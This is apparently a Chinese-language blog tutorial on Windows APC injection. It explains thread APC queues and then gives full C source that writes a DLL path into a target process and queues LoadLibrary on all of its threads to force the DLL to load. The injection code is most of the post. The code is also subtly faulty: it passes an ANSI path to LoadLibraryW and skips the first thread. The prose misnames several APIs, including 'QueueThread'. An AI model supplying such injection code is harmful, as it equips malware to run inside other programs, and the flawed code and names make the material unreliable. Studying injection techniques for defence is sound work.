0%

APC注入

APC简介

APC(Asynchronous Procedure Calls,异步过程调用)

  • 每个线程都有一个自己的APC队列,可以使用**QueueUserAPC**把一个APC插入到线程APC队列中。当线程处于可警醒状态时,线程会执行APC队列中的APC函数。

  • 线程创建后 系统会在调用线程函数时检查APC队列,如果不为空,那么就会调用APC队列中的APC函数,直到队列为空后才会调用线程函数。(线程通过调用**SleepEx、SignalObjectAdndWait、WaitForSingleObjectEx、WaitForMultioleObjectsEx**等函数挂起时(即进入[alertable]可惊醒状态时), 会先检查APC队列,如果不为空,则调用APC队列中的APC函数,直到队列为空后才会开始等待要等待的对象。) 执行顺序以普通队列相同 先进先出(FIFO)。在整改执行过程中,线程并不会有任何异常举动,不易被差距,但是缺点是对于单线程程序一般不会存在挂起状态,所以APC注入不会对该类程序有明显效果。

  • 由内核产生的APC称为内核态(kernel-mode)APC,用户应用调用的APC称为用户态(user-mode)APC。

APC注入

QueueUserAPC函数

将用户模式异步过程调用(APC)对象添加到指定线程的APC队列

1
2
3
4
5
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
APC注入具体流程
  • 通过OpenProcess函数打开目标进程,获取目标进程句柄.
  • 使用VirtualAllocEx在目标进程申请一块内存,然后通过WriteProcessMemory函数向内存中写入dll路径.
  • 调用WIN32API函数CreateToolhelp32Snapshot、Thread32First、Thread32Next遍历线程快照,获取目标进程的所有线程ID.
  • 遍历进程ID,调用OpenThread函数及THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄。并调用QueueThread函数向线程插入APC函数,设置APC函数的地址为Loadlibrary函数的地址,并设置APC函数参数为上述DLL路径地址.
  • 最后关闭句柄.
实现代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>

void ApcInjectDll(DWORD pid, char* dllname) {
//计算DLL文件名长度
int len = strlen(dllname) + 1;

//打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (NULL == hProcess)
{
return;
}
//在目标进程申请一块长度为len大小的内存空间
PVOID dllNameAddr = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);
if (dllNameAddr == NULL)
{
CloseHandle(hProcess);
return;
}
//把DLL文件完整路径写到分配的内存里面
WriteProcessMemory(hProcess, dllNameAddr, dllname, len, 0);

CloseHandle(hProcess);

THREADENTRY32 te = { 0 };
te.dwSize = sizeof(THREADENTRY32);

//得到线程快照
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (handle == INVALID_HANDLE_VALUE)
{
CloseHandle(hProcess);
return;
}
//获取loadlibrary地址
FARPROC funAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW");

Thread32First(handle, &te);
while (Thread32Next(handle, &te))
{
if (te.th32OwnerProcessID == pid)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread)
{
QueueUserAPC((PAPCFUNC)funAddr, hThread, dllNameAddr);
CloseHandle(hThread);
}
}
}
CloseHandle(handle);
}

void main(int argc, char* argv[]) {

if (argc != 2)
{
printf("请输入pid");
return;
}
int pid = atol(argv[1]);
ApcInjectDll(pid, "C:\\Users\\test\\Desktop\\hookdll.dll");
}

在notepad中 使用64位注入成功

img

References

https://www.cnblogs.com/nice0e3/p/15318330.html

https://www.cnblogs.com/iBinary/p/7574055.html

https://zhuanlan.zhihu.com/p/145644574

https://www.cnblogs.com/PeterZ1997/p/10584557.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------